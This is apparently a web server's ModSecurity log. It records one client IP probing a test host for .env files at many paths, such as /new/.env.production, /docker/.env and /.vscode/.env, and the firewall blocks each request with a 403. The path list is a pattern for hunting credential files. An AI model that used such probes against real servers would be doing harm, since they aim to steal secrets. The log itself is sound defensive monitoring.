[Wed Jul 23 13:39:19.750584 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7tQAAAAI&quot;]
[Wed Jul 23 13:39:19.750804 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7tQAAAAI&quot;]
[Wed Jul 23 13:39:19.750970 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7tQAAAAI&quot;]
[Wed Jul 23 13:39:19.774901 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7tgAAAAI&quot;]
[Wed Jul 23 13:39:19.775201 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7tgAAAAI&quot;]
[Wed Jul 23 13:39:19.775390 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.local&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7tgAAAAI&quot;]
[Wed Jul 23 13:39:19.797112 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7twAAAAI&quot;]
[Wed Jul 23 13:39:19.797336 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7twAAAAI&quot;]
[Wed Jul 23 13:39:19.797509 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7twAAAAI&quot;]
[Wed Jul 23 13:39:19.818790 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7uAAAAAI&quot;]
[Wed Jul 23 13:39:19.819009 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7uAAAAAI&quot;]
[Wed Jul 23 13:39:19.819183 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aIDJ56I4lOREpDwv3HY7uAAAAAI&quot;]
[Wed Jul 23 13:39:21.497646 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /awstats/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aIDJ6aI4lOREpDwv3HY7vgAAAAI&quot;]
[Wed Jul 23 13:39:21.497938 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aIDJ6aI4lOREpDwv3HY7vgAAAAI&quot;]
[Wed Jul 23 13:39:21.498121 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aIDJ6aI4lOREpDwv3HY7vgAAAAI&quot;]
[Wed Jul 23 13:39:21.564660 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /conf/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aIDJ6aI4lOREpDwv3HY7vwAAAAI&quot;]
[Wed Jul 23 13:39:21.564892 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aIDJ6aI4lOREpDwv3HY7vwAAAAI&quot;]
[Wed Jul 23 13:39:21.565082 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aIDJ6aI4lOREpDwv3HY7vwAAAAI&quot;]
[Wed Jul 23 13:39:23.055331 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cron/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aIDJ66I4lOREpDwv3HY7wAAAAAI&quot;]
[Wed Jul 23 13:39:23.055577 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aIDJ66I4lOREpDwv3HY7wAAAAAI&quot;]
[Wed Jul 23 13:39:23.055771 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aIDJ66I4lOREpDwv3HY7wAAAAAI&quot;]
[Wed Jul 23 13:39:23.075930 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /www/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aIDJ66I4lOREpDwv3HY7wQAAAAI&quot;]
[Wed Jul 23 13:39:23.076159 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aIDJ66I4lOREpDwv3HY7wQAAAAI&quot;]
[Wed Jul 23 13:39:23.076339 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aIDJ66I4lOREpDwv3HY7wQAAAAI&quot;]
[Wed Jul 23 13:39:23.107350 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aIDJ66I4lOREpDwv3HY7wgAAAAI&quot;]
[Wed Jul 23 13:39:23.107585 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aIDJ66I4lOREpDwv3HY7wgAAAAI&quot;]
[Wed Jul 23 13:39:23.107764 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aIDJ66I4lOREpDwv3HY7wgAAAAI&quot;]
[Wed Jul 23 13:39:23.173028 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.vscode/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aIDJ66I4lOREpDwv3HY7xQAAAAI&quot;]
[Wed Jul 23 13:39:23.173254 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aIDJ66I4lOREpDwv3HY7xQAAAAI&quot;]
[Wed Jul 23 13:39:23.173421 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aIDJ66I4lOREpDwv3HY7xQAAAAI&quot;]
[Wed Jul 23 13:39:23.195083 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /js/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aIDJ66I4lOREpDwv3HY7xgAAAAI&quot;]
[Wed Jul 23 13:39:23.195310 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aIDJ66I4lOREpDwv3HY7xgAAAAI&quot;]
[Wed Jul 23 13:39:23.195481 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aIDJ66I4lOREpDwv3HY7xgAAAAI&quot;]
